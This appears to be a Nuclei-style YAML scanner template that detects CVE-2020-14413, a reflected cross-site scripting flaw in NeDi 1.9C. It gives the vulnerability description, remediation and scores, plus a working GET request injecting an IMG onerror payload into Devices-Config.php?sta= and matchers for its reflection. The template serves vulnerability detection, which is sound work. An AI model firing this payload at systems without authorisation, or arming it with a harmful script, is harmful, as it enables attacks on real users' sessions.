id: CVE-2020-14413

info:
  name: NeDi 1.9C - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
  remediation: |
    Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14413
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-14413
    cwe-id: CWE-79
    epss-score: 0.00095
    epss-percentile: 0.39898
    cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nedi
    product: nedi
  tags: cve,cve2020,nedi,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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